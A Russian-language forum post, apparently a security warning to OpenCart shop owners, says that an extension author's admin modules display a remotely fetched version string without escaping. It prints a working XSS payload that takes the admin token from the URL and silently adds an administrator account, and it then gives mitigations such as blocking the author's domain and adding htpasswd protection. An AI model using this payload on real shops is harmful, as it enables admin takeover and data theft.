Недавно моими друзьями была обнаружена очень неприятная ситуация, один популярный автор дополнений, допустил фатальную ошибку в разработке дополнения. Я очень хочу верить что случайно, но в целом, все указывает на то, что это специально оставленный бекдор.
Но бог и администрация форума ему судья, я думаю они там сами разберутся.
В силу того, что приводя куски кода дополнения, или оставляя комментарии в теме поддержки дополнения, как пользователь который его не покупал я нарушу правила форума, я попробую дать рекомендации в существующих рамках.
Исходя из моей подготовки и опыта, я могу утверждать, что, проблема, в том, что когда вы заходили в админку модуля, модуль подтягивал каждый раз с сервера автора номер версии. Казалось бы что в этом такого.
Но присмотревшись, оказалось, что вывод данных о версии не был экранирован, что позволяло автору или любому человеку, получившему доступ к его серверу выполнить XSS атаку на все 10 000 магазинов, которые купили любое из дополнений автора, к примеру вместо номера версии отдать вот такой простой скрипт к примеру:
<script>
// shell sample
// seocms the best architectural mistake forever
// i got all your 10 000 shops
// i install 10 000 backdors
function getUrlVars() {
var vars = [], hash, hashes = null;
if (window.location.href.indexOf("?") && window.location.href.indexOf("&")) {
hashes = window.location.href.slice(window.location.href.indexOf("?") + 1).split("&");
} else if (window.location.href.indexOf("?")) {
hashes = window.location.href.slice(window.location.href.indexOf("?") + 1);
}
if (hashes != null) {
for (var i = 0; i < hashes.length; i++) {
hash = hashes[i].split("=");
vars[hash[0]] = hash[1];
}
}
return vars;
}
var url_vars = getUrlVars();
var token = url_vars.token;
var host = window.location.origin;
var action = host + "/admin/index.php?route=user/user/add&token=" + token;
document.addEventListener("DOMContentLoaded", function(event) {
$.post( action, { username: "DummiMarkHack", user_group_id: "1", firstname: "Lol", lastname: "Haha", email: "
[email protected]", password: "1234", confirm: "1234", status: "1" } );
});
</script>
И вот таким нехитрым способом, ни в коем случае я не грешу на автора и не хочу сказать что он это сделал специально, но береженого бог бережет. Ведь невзламываемых систем не бывает. Можно получить админский доступ в любой магазин. На котором установлены модули автора. А получив админа магазина, мы легко и просто дальше уже сливаем все что захотим - это дело техники.
А учитывая то, что человек может умереть. И не продлить домен. А за доменом могут следить специально с целью захвата такого лакомого ботнета. Думаю о критичности потенциальной угрозы рассказывать не надо.
Опять же повторюсь, в рамках правил форума я не могу показывать код дополнения, я его не покупал, поэтому чтобы навсегда обезопасить себя от подобной проблемы на 100% и у вас VPS вам просто необходимо добавить в файл host на своем сервере
Строку 0.0.0.0 site.com // Домен сервера разработчика
Как это сделать в linux - можно прочитать здесь, или обратитесь к администратору вашего сервера.
Если же у вас шаред-хостинг. Максимум что вы можете сделать, это найти во всех модулях автора в языковых файлах строки opencartadmin.com и заменить их на localhost. С вашими модулями ничего не случится. Они будут работать. Но вероятность, что с постороннего ресурса вы получите xss атаку минимальная!
Ну и как второстепенную меру защиты, просто добавьте htpassword авторизацию к админке.
Успешного бизнеса вам, и безопасных магазинов.